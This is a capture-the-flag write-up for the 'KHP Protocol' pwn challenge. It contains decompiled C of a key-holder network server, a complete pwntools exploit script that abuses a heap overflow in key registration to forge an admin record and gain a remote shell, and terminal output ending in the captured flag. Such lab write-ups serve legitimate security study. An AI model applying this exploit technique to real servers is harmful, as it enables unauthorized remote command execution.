

KHP Protocol

1) Checked security

```
(vigneswar@VigneswarPC)-[~/Pwn/KHP Protocol/pwn_khp_protocol/challenge]
$ checksec khp_server
[*] '/home/vigneswar/Pwn/KHP Protocol/pwn_khp_protocol/challenge/khp_server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

2) Checked decompiled code

```
1
2 void main(int param_1,char **param_2)
3
4 {
5     int iVar1;
6     pthread_t local_48;
7     socklen_t local_3c;
8     sockaddr local_38;
9     int local_1c;
10    int local_18;
11    undefined8 local_14;
12    int local_c;
13
14    setvbuf(stdout,(char *)0x0,2,0);
15    setvbuf(stdin,(char *)0x0,2,0);
16    Log("Starting keys holder protocol server....");
17    local_14 = 0x30383038;
18    while( true ) {
19        local_18 = getopt(param_1,param_2,"p:h");
20        if (local_18 == -1) break;
21        if (local_18 == 0x68) {
22            ShowHelp();
23        }
24        else if (local_18 == 0x70) {
25            strncpy((char *)&local_14,optarg,8);
26        }
27        else {
28            ShowHelp();
29        }
30    }
31    local_3c = 0x10;
32    local_c = socket(2,1,0);
33    if (local_c == 0) {
34        Log("Socket creation failed");
35        /* WARNING: Subroutine does not return */
36        exit(1);
37    }
38    local_18 = 1;
39    iVar1 = setsockopt(local_c,1,2,&local_18,4);
40    if (iVar1 != 0) {
41        Log("Setting socket options failed");
42        /* WARNING: Subroutine does not return */
43        exit(1);
44    }
45    local_38.sa_family = 2;
46    local_38.sa_data[2] = '\0';
47    local_38.sa_data[3] = '\0';
48    local_38.sa_data[4] = '\0';
49    local_38.sa_data[5] = '\0';
50    iVar1 = atoi((char *)&local_14);
```

```

51 local_38.sa_data._0_2_ = htons((uint16_t)iVar1);
52 iVar1 = bind(local_c,&local_38,0x10);
53 if (iVar1 < 0) {
54     Log("Bind failed, check if the port is in use");
55     /* WARNING: Subroutine does not return */
56     exit(1);
57 }
58 iVar1 = listen(local_c,10);
59 if (iVar1 < 0) {
60     Log("Listen failed");
61     /* WARNING: Subroutine does not return */
62     exit(1);
63 }
64 Log("Listening on port -> %s",&local_14);
65 do {
66     local_1c = accept(local_c,&local_38,&local_3c);
67     if (local_1c < 0) {
68         Log("Accept failed");
69     }
70     Log("New client connected.");
71     iVar1 = pthread_create(&local_48,(pthread_attr_t *)0x0,StartService,&local_1c);
72     if (iVar1 != 0) {
73         Log("Can\'t start new thread.");
74     }
75     pthread_detach(local_48);
76 } while( true );
77 }
78

```

Decompile: StartService - (khp_server)

```

13 while( true ) {
14     while( true ) {
15         while( true ) {
16             while( true ) {
17                 while( true ) {
18                     while( true ) {
19                         while( true ) {
20                             memset(local_108,0,0x100);
21                             Read(local_108);
22                             iVar1 = strcmp(local_108,"HELP",4);
23                             if (iVar1 != 0) break;
24                             SendHelp();
25                         }
26                         iVar1 = strcmp(local_108,"REKE",4);
27                         if (iVar1 != 0) break;
28                         RegisterNewKey(local_108);
29                     }
30                     iVar1 = strcmp(local_108,"DEKE",4);
31                     if (iVar1 != 0) break;
32                     DeleteKey(local_108);
33                 }
34                 iVar1 = strcmp(local_108,"DDKE",4);
35                 if (iVar1 != 0) break;
36                 DeleteKeyFromDB(local_108);
37             }
38             iVar1 = strcmp(local_108,"SAVE",4);
39             if (iVar1 != 0) break;
40             SaveKey(local_108);
41         }
42         iVar1 = strcmp(local_108,"AUTH",4);
43         if (iVar1 != 0) break;
44         Auth(local_108);
45     }
46     iVar1 = strcmp(local_108,"GTPR",4);
47     if (iVar1 != 0) break;
48     GetCurrentProfile();
49 }
50 iVar1 = strcmp(local_108,"RLDB",4);
51 if (iVar1 != 0) break;
52 ReloadDB();
53 }
54 iVar1 = strcmp(local_108,"EXEC",4);
55 if (iVar1 != 0) break;
56 GetAShell();
57 }
58 iVar1 = strcmp(local_108,"EXIT",4);
59 if (iVar1 == 0) break;
60 Send("Unknown command.\n");
61 }
62 close(cli);

```

Decompile: SendHelp - (khp_server)

```

1
2 void SendHelp(void)
3
4 {
5     Send(
6         "\nHello in Keys Holding Protocol Server. \nAvailable Commands: \n\tREKE: Register new user:key. \n\tDEKE: Delete key, usage: DEKE ID (e.g DEKE 5) \n\tDDKE: Delete key from database, usage: DDKE ID (e.g DDKE 5) \n\tSAVE: To save a key, usage: SAVE ID (e.g SAVE 5) \n\tAUTH: Authenticate with registered user:key, usage: AUTH ID (e.g AUTH 5) \n\tGTPR: Get current profile. \n\tRLDB: Reload the database. \n\tEXEC: Open a shell. (Only for Admins). \n\tHELP: To show this message. \n\tEXIT: To exit. \n"
7     );
8     return;
9 }
10

```

```

1
2 void RegisterNewKey(char *param_1)
3
4 {
5     long lVar1;
6     int iVar2;
7     char *pcVar3;
8     char *pcVar4;
9     char *pcVar5;
10    void *pvVar6;
11    size_t sVar7;
12
13    strtok(param_1, " ");
14    pcVar3 = strtok((char *)0x0, ":");
15    pcVar4 = strtok((char *)0x0, " ");
16    pcVar5 = strtok((char *)0x0, ";");
17    iVar2 = GetFreeId();
18    AVAIL_ID = iVar2;
19    if (iVar2 == 0) {
20        Send("No more available keys, please delete one or get an enterprise version.\n");
21    }
22    else {
23        pvVar6 = malloc(0x54);
24        *(void **)(IN_MEM_KEYS + (long)iVar2 * 8) = pvVar6;
25        malloc_usable_size(*(undefined8 *)(IN_MEM_KEYS + (long)AVAIL_ID * 8));
26        sprintf((char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8), "%s:%s %s;", pcVar3, pcVar4, pcVar5);
27        lVar1 = *(long *)(IN_MEM_KEYS + (long)AVAIL_ID * 8);
28        sVar7 = strlen((char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8));
29        *(undefined *)(sVar7 + lVar1) = 0;
30        Log("New user registered -> %s", pcVar3);
31        Log("New key registered with the id -> %d", AVAIL_ID);
32        Send("Registered: ID->%d\n", AVAIL_ID);
33    }
34    return;
35 }
36

```

```
1
2 void DeleteKey(char *param_1)
3
4 {
5     int iVar1;
6     char *__nptr;
7
8     strtok(param_1," ");
9     __nptr = strtok((char *)0x0,"");
10    iVar1 = atoi(__nptr);
11    if (*(long *) (IN_MEM_KEYS + (long) iVar1 * 8) == 0) {
12        Send("No key to delete. \n");
13    }
14    else {
15        free(*(void **) (IN_MEM_KEYS + (long) iVar1 * 8));
16        *(undefined8 *) (IN_MEM_KEYS + (long) iVar1 * 8) = 0;
17        Send("Key deleted successfully. \n");
18        Log("Key deleted -> %d", iVar1);
19    }
20    return;
21 }
22
```

```
3
4 {
5     int iVar1;
6     int __fd;
7     char *pcVar2;
8     size_t sVar3;
9     size_t sVar4;
10    ssize_t sVar5;
11
12    strtok(param_1, " ");
13    pcVar2 = strtok((char *)0x0, "");
14    if (pcVar2 == (char *)0x0) {
15        Send("Id must be between 1 - 10. \n");
16    }
17    else {
18        iVar1 = atoi(pcVar2);
19        if (*(long *) (IN_MEM_KEYS + (long) iVar1 * 8) == 0) {
20            Send("No key to delete. \n");
21        }
22        else {
23            if (KEYS_BUF == (char *)0x0) {
24                LoadKeysDB();
25            }
26            pcVar2 = strstr(KEYS_BUF, (char **) (IN_MEM_KEYS + (long) iVar1 * 8));
27            if (pcVar2 == (char *)0x0) {
28                Send("Key doesn't exist in the database. \n");
29            }
30            else {
31                sVar3 = strlen(*(char **) (IN_MEM_KEYS + (long) iVar1 * 8));
32                sVar4 = strlen(pcVar2 + sVar3 + 1);
33                memmove(pcVar2, pcVar2 + sVar3 + 1, sVar4 + 1);
34                __fd = open(KEYS_DB_FILE, 0x201);
35                if (__fd == -1) {
36                    Log("Failed to open the keys file");
37                    Send("Error.");
38                }
39                else {
40                    sVar3 = strlen(KEYS_BUF);
41                    sVar5 = write(__fd, KEYS_BUF, sVar3);
42                    write(__fd, &DAT_001041cf, 1);
43                    if ((int) sVar5 == -1) {
44                        Log("Error writing to the file");
45                        Send("Error.");
46                        close(__fd);
47                    }
48                    else {
49                        Send("Deleted. \n");
50                        Log("Key deleted from database-> %d", iVar1);
51                        close(__fd);
52                    }
53                }
54            }
55        }
56    }
57 }
```

```
7 char *pcVar3;  
8 size_t __n;  
9 ssize_t sVar4;  
10  
11 strtok(param_1, " ");  
12 pcVar3 = strtok((char *)0x0, "");  
13 if (pcVar3 == (char *)0x0) {  
14     Send("Id must be between 1 - 10. \n");  
15 }  
16 else {  
17     iVar1 = atoi(pcVar3);  
18     if ((-1 < iVar1) && (iVar1 < 0xb)) {  
19         if (*(long *)(IN_MEM_KEYS + (long)iVar1 * 8) == 0) {  
20             Send("There is no key with the id -> %d \n", iVar1);  
21         }  
22         else {  
23             pcVar3 = strstr(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8), "admin");  
24             if (pcVar3 == (char *)0x0) {  
25                 iVar2 = CheckIfKeyExist(iVar1);  
26                 if (iVar2 == 0) {  
27                     iVar2 = open(KEYS_DB_FILE, 0x401);  
28                     if (iVar2 == -1) {  
29                         Log("Failed to open the keys file");  
30                         Send("Error.");  
31                     }  
32                     else {  
33                         __n = strlen(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8));  
34                         sVar4 = write(iVar2, *(void **)(IN_MEM_KEYS + (long)iVar1 * 8), __n);  
35                         write(iVar2, &DAT_001041cf, 1);  
36                         if ((int)sVar4 == -1) {  
37                             Log("Error writing to the file");  
38                             Send("Error.");  
39                             close(iVar2);  
40                         }  
41                         else {  
42                             Send("Saved \n");  
43                             close(iVar2);  
44                         }  
45                     }  
46                 }  
47                 else {  
48                     Send("Key already exist in the database. \n");  
49                 }  
50             }  
51             else {  
52                 Send("You can't save keys with admin role from here.\n");  
53             }  
54         }  
55     }  
56 }  
57 return;
```



```
1
2 void Auth(char *param_1)
3
4 {
5     int iVar1;
6     char *__nptr;
7     size_t __n;
8     char local_a8 [136];
9     char *local_20;
10    int local_14;
11    char *local_10;
12
13    local_10 = strtok(param_1," ");
14    __nptr = strtok((char *)0x0,"");
15    local_14 = atoi(__nptr);
16    if ((local_14 < 0) || (10 < local_14)) {
17        Send("Id should be between 1-10 only.\n");
18    }
19    else if (*(long *) (IN_MEM_KEYS + (long)local_14 * 8) == 0) {
20        Send("There is no key with the id -> %d \n",local_14);
21    }
22    else {
23        iVar1 = CheckIfKeyExist(local_14);
24        if (iVar1 == 0) {
25            Send("Key should be exist in the database to use it for authentication. \n");
26        }
27        else {
28            __n = strlen(*(char **)(IN_MEM_KEYS + (long)local_14 * 8));
29            strncpy(local_a8,*(char **)(IN_MEM_KEYS + (long)local_14 * 8),__n);
30            CURRENT_USER = strtok(local_a8,".");
31            local_20 = CURRENT_USER;
32            CURRENT_ROLE = strtok((char *)0x0," ");
33            CURRENT_PROFILE = *(undefined8 *) (IN_MEM_KEYS + (long)local_14 * 8);
34            local_20 = CURRENT_ROLE;
35            Send("Authenticated with id -> %d \nUser: %s:%s \n",local_14,CURRENT_USER,CURRENT_ROLE);
36        }
37    }
38    return;
39 }
40
```

C# Decompile: GetCurrentProfile - (khp_server)

```
1
2 void GetCurrentProfile(void)
3
4 {
5     char local_88 [128];
6
7     if (CURRENT_PROFILE == (char *)0x0) {
8         Send("You need to be authenticated. \n");
9     }
10    else {
11        strncpy(local_88,CURRENT_PROFILE,0x54);
12        Send("Profile: %s \n",local_88);
13    }
14    return;
15 }
16
```

C# Decompile: ReLoadDB - (khp_server)

```
1
2 void ReLoadDB(void)
3
4 {
5     int iVar1;
6
7     if (KEYS_BUF != (void *)0x0) {
8         free(KEYS_BUF);
9     }
10    iVar1 = LoadKeysDB();
11    if (iVar1 == 0) {
12        Send("DB can't be reloaded. \n");
13    }
14    else {
15        Send("DB reloaded successfully.\n");
16    }
17    return;
18 }
19
```

```
1
2 void GetAShell(void)
3
4 {
5     int iVar1;
6
7     if (CURRENT_PROFILE == 0) {
8         Send("You need to be authenticated. \n");
9     }
10    else {
11        iVar1 = strcmp(CURRENT_ROLE,"admin");
12        if (iVar1 == 0) {
13            Send("You can run commands now.\n$ ");
14            dup2(cli,0);
15            dup2(cli,1);
16            dup2(cli,2);
17            execlp("/bin/sh","/bin/sh",0);
18        }
19        else {
20            Send("You need to be authenticated as admin to run this command \n");
21        }
22    }
23    return;
24 }
25
```

```
1
2 undefined8 LoadKeysDB(void)
3
4 {
5     int iVar1;
6     undefined8 uVar2;
7     stat local_b8;
8     size_t local_20;
9     size_t local_18;
10    int local_c;
11
12    local_c = open(KEYS_DB_FILE,0);
13    if (local_c == -1) {
14        Log("Failed to open the keys file");
15        uVar2 = 0;
16    }
17    else {
18        iVar1 = fstat(local_c,&local_b8);
19        if (iVar1 == -1) {
20            Log("Error getting file information");
21            close(local_c);
22            uVar2 = 0;
23        }
24        else {
25            local_18 = local_b8.st_size;
26            KEYS_BUF = malloc(local_b8.st_size + 1);
27            if (KEYS_BUF == (void *)0x0) {
28                Log("Failed to allocate memory");
29                close(local_c);
30                uVar2 = 0;
31            }
32            else {
33                local_20 = read(local_c,KEYS_BUF,local_18);
34                if (local_20 == local_18) {
35                    *(undefined *) (local_18 + (long)KEYS_BUF) = 0;
36                    close(local_c);
37                    Log("Database loaded successfully");
38                    uVar2 = 1;
39                }
40                else {
41                    Log("Failed to read the file");
42                    free(KEYS_BUF);
43                    close(local_c);
44                    uVar2 = 0;
45                }
46            }
47        }
48    }
49    return uVar2;
50 }
```

2) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./khp_server_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe

#b* RegisterNewKey+197\nc
# gdbio = gdb.debug(exe.path, 'c', api=True)
# sleep(1)
# io = remote("127.0.0.1", 8080)
io = remote("94.237.57.130", 51096)

def register_key(name, role, key):
    io.send(f"REKE {name}:{role} {key};".encode())
    res = io.recvline().decode()
    print(res)
    sleep(2)
    return int(res.rsplit("->")[-1])

def delete_key(id):
    io.sendline(f"DEKE {id}".encode())
    print(io.recvline().decode())

def delete_key_db(id):
    io.sendline(f"DDKE {id}".encode())
    print(io.recvline().decode())

def save_key(id):
    io.sendline(f"SAVE {id}".encode())
    print(io.recvline().decode())

def auth(id):
    io.sendline(f"AUTH {id}".encode())
    print(io.recvline().decode())

def reload_db():
    io.sendline("RLDB".encode())
    print(io.recvline().decode())

def shell():
    io.sendline("EXEC".encode())

def current_profile():
    io.sendline("GTPR".encode())
    print(io.recvline().decode())

def exit():
    io.sendline("EXIT".encode())
    print(io.recvline().decode())
```

```
# write admin user into file
a_1 = register_key("master", "admiX:XXX;nn", "password")
save_key(a_1)
b_1 = register_key("test", "test", "test")
c_1 = register_key("X", "X", "X")
delete_key(b_1)
b_2 = register_key("aaaaaaa", "bbbbbbbb", "c"*0x50+"X:XXX")
reload_db()
delete_key_db(c_1)
reload_db()
c_2 = register_key("master", "admin", "password")
auth(c_2)
shell()

io.interactive()
```

3) Flag

The screenshot shows a terminal window on the left and a web interface on the right. The terminal output is as follows:

```
(vigneswar@VigneswarPC)-[~/Pwn/KHP Protocol/pwn_khp_protocol/challenge]
$ python3 solve.py
Registered: ID->1
Saved
Registered: ID->2
Registered: ID->3
Key deleted successfully.
Registered: ID->2
DB reloaded successfully.
Deleted.
DB reloaded successfully.
Registered: ID->4
Authenticated with id -> 4
User: master:admin
You can run commands now.
$ $ ls
Makefile
flag.txt
khp_func.h
khp_server
khp_server.c
users.keys
$ cat flag.txt
HTB{4_0_D4Y_70_H4CK_7H3_W0RLD}
$
```

The web interface on the right shows a challenge titled "KHP Protocol" with a "MEDIUM" difficulty. It includes sections for "Download Files", "Submit Flag", "Add To-Do List", and "Review Challenge". The "Submit Flag" section shows the flag "HTB{4_0_D4Y_70_H4CK_7H3_W0RLD}" has been submitted.